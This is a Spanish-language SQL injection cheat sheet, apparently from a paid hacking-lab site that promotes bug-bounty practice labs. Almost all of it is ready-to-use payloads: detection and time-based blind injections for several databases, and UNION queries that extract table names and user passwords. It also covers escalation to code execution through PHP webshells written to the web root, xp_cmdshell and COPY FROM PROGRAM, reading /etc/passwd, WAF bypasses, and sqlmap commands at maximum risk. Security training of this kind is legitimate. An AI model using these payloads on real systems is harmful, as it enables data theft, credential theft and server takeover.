Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet SQLi

SQL Injection

Referencia rápida

  • Siempre probar isomorphic tests antes de polyglots - menor ruido, mayor precision
  • PostgreSQL trata -- seguido de numero negativo como comentario (sin espacio)
  • Si un campo tiene longitud forzada, combinar inyeccion cross-field entre parametros
  • MSSQL permite stacked queries con ; lo que facilita RCE via xp_cmdshell
  • Usar CHAR() o hex encoding cuando las comillas estan bloqueadas

Deteccion - payloads iniciales

Comilla simple

'

Doble comilla

"

Comentario MySQL

' OR 1=1-- -

Isomorphic test numericoSi devuelve lo mismo que ID=1, la aritmetica se ejecuta en SQL

ID=2-1

Isomorphic test LIKEDoble % revela contexto LIKE sin sanitizar

q=Big%%

Isomorphic test stringConcatenacion de strings confirma inyeccion

name=Big' '

Time-based blind - MySQL

SLEEP basico

' AND SLEEP(5)-- -

SLEEP con parentesis

') AND SLEEP(5)-- -

SLEEP doble comilla

" AND SLEEP(5)-- -

SELECT SLEEP

' AND (SELECT SLEEP(5))-- -

OR SLEEP

' OR SLEEP(5)-- -

BENCHMARK

' AND BENCHMARK(10000000,SHA1('test'))-- -

Time-based blind - MSSQL y PostgreSQL

MSSQL WAITFOR

'; WAITFOR DELAY '0:0:5'-- -

MSSQL con parentesis

'); WAITFOR DELAY '0:0:5'-- -

PostgreSQL pg_sleep

'; SELECT pg_sleep(5)-- -

PostgreSQL OR

' || pg_sleep(5)-- -

SQLite RANDOMBLOB

' AND 1=RANDOMBLOB(500000000)-- -

Union-based extraction

Determinar columnas (ORDER BY)Incrementar hasta obtener error para determinar numero de columnas

' ORDER BY 1-- -

UNION SELECT NULL

' UNION SELECT NULL,NULL,NULL-- -

Extraer version MySQL

' UNION SELECT @@version,NULL,NULL-- -

Listar tablas

' UNION SELECT table_name,NULL FROM information_schema.tables-- -

Listar columnas

' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

Sin comillas con CHAR()Usar CHAR() cuando las comillas estan filtradas

UNION SELECT CONCAT(user, CHAR(32), password) FROM users-- -

Escalacion a RCE

MySQL - webshell via INTO OUTFILE

' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -

MySQL - leer archivos

' UNION SELECT LOAD_FILE('/etc/passwd')-- -

MSSQL - xp_cmdshell

'; EXEC xp_cmdshell 'whoami'-- -

MSSQL - habilitar xp_cmdshell

'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- -

PostgreSQL - COPY TO webshell

'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'-- -

PostgreSQL - COPY PROGRAM

'; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'whoami';-- -

Bypass de WAF

WAFTécnicaPayload
Filtro de espacios
Comentarios inline
'/**/UNION/**/SELECT/**/1,2,3-- -
Filtro de comillas
CHAR() encoding
UNION SELECT CONCAT(CHAR(97),CHAR(100),CHAR(109))-- -
Filtro de UNION
Case manipulation
' uNiOn SeLeCt 1,2,3-- -
Filtro de keywords
Double URL encoding
%252f%252a*/UNION%252f%252a*/SELECT
Filtro de comentarios
Newline bypass
' OR 1=1%0AUNION%0ASELECT%0A1,2,3-- -

Herramientas

sqlmap

Herramienta automatizada de deteccion y explotacion de SQLi

sqlmap -r request.txt --batch --level=5 --risk=3 --dbs

ghauri

Alternativa a sqlmap con mejor deteccion de blind SQLi

ghauri -r request.txt --batch --dbs

Burp Suite + SQLi extension

Deteccion manual asistida con encoding y payloads automaticos

Burp Suite > Extensions > SQLiPy / Hackvertor

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica